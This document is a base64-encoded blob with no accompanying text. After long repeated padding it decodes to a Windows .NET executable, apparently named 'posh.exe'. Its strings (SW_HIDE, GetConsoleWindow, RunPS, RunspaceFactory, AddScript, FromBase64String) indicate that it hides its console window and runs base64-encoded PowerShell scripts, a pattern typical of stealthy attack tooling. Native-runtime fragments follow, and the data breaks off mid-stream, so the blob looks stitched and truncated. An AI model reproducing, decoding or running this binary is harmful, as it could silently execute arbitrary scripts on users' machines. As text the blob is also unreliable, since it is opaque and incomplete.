EEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBA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AAA8AAAAAIAAAAAAAAAAAAAAAEAGwAAAAAAAQAAAAAAAAAAAAAAPQA/AQAAAAAAAAAAADxNb2R1bGU+AHBvc2guZXhlAFByb2dyYW0AbXNjb3JsaWIAU3lzdGVtAE9iamVjdABTV19ISURFAFNXX1NIT1cAR2V0Q29uc29sZVdpbmRvdwBTaG93V2luZG93AC5jdG9yAEludm9rZUF1dG9tYXRpb24AUnVuUFMATWFpbgBoV25kAG5DbWRTaG93AGNtZABTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2VzAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAcG9zaABTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMARGxsSW1wb3J0QXR0cmlidXRlAGtlcm5lbDMyLmRsbAB1c2VyMzIuZGxsAFN5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24AU3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5SdW5zcGFjZXMAUnVuc3BhY2VGYWN0b3J5AFJ1bnNwYWNlAENyZWF0ZVJ1bnNwYWNlAE9wZW4AUnVuc3BhY2VJbnZva2UAUGlwZWxpbmUAQ3JlYXRlUGlwZWxpbmUAQ29tbWFuZENvbGxlY3Rpb24AZ2V0X0NvbW1hbmRzAEFkZFNjcmlwdABTeXN0ZW0uQ29sbGVjdGlvbnMuT2JqZWN0TW9kZWwAQ29sbGVjdGlvbmAxAFBTT2JqZWN0AEludm9rZQBDbG9zZQBTeXN0ZW0uVGV4dABTdHJpbmdCdWlsZGVyAFN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljAElFbnVtZXJhdG9yYDEAR2V0RW51bWVyYXRvcgBnZXRfQ3VycmVudABBcHBlbmQAU3lzdGVtLkNvbGxlY3Rpb25zAElFbnVtZXJhdG9yAE1vdmVOZXh0AElEaXNwb3NhYmxlAERpc3Bvc2UAVG9TdHJpbmcAU3RyaW5nAFRyaW0ARW5jb2RpbmcAZ2V0X1VuaWNvZGUAQ29udmVydABGcm9tQmFzZTY0U3RyaW5nAEdldFN0cmluZwAAAAMgAAAAAAASJrxRf3rFQo0hxG1QXPnvAAi3elxWGTTgi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P80nzUONhg2ZjayNvI2XTd3N4Q3tDfYN+M38DcCOEo4YzjnOPw4BTkOOVg5YjmMOS86GDsnO0Y7XjupO7E7uTvBO8k75zvvO1E8XTxxPH08iTypPPA8Gj0iPT89Tz1bPWo9bj6fPuE+GD81P0k/VD+hPwCwAACEAAAAKTCQMEUxuTHWMeYxOzI8M0wzXTNlM3UzhjPsM/czAjQINBE0UzR+NKM0rzS7NM407TQYNTA1dTWBNY01mTWsNdA1UDa3Nuo2iDeeN/g3NTg/OFo4wzjJOM441DjlODs5TTlfOc85MDqLOvk6GDtJO5482D3zPQk+Hz4nPgDAAABMAAAAgDGDMpQyGjV2NXs1jTWrNb81xTV5NkE3XjcCOR459DkHOiU6MzrhOxg8HzwkPCg8LDwwPIY8yzzQPNQ82DzcPEI/AAAA0AAAGAAAAHYw0TEsMpMyrjLBMscyAAAA4AAAZAEAAEgxUDFcMWAxZDFwMXQxeDGQMZgxnDGgMaQxqDGsMbAxyDHMMdAx5DHoMewxCDIsMjAyNDJIMkwyUDJwM3QzeDN8M4AzhDOIM4wzkDOUM5gznDOgM6QzqDOsM7AztDO4M7wzwDPEM8gzzDPQM9Qz2DPcM+Az5DPoM+wz8DP0M/gz/DMANAQ0CDQMNBA0FDQYNBw0IDQkNCg0LDQwNDQ0ODQ8NEA0RDRINEw0UDRUNFg0XDRgNGQ0aDRsNHA0dDR4NHw0gDSENIg0jDSQNJQ0mDScNKA0pDSoNKw0sDS0NLg0vDTANMQ0yDTMNNA01DTYNNw04DTkNOg07DTwNPQ0+DT8NAA1mDugO6g7rDuwO7Q7uDu8O8A7xDvMO9A71DvYO9w74DvkO+g79Dv8OwA8BDwIPAw8EDwUPBg8HDwgPCQ8KDwsPDA8NDw4PDw8QDxEPEg8TDxQPFQ8WDxcPADwAABUAQAAqDKsMrAytDJINkw2UDZUNlg2XDZgNmQ2aDZsNnA2dDZ4Nnw2gDaENog2jDaQNpQ2mDacNqA2pD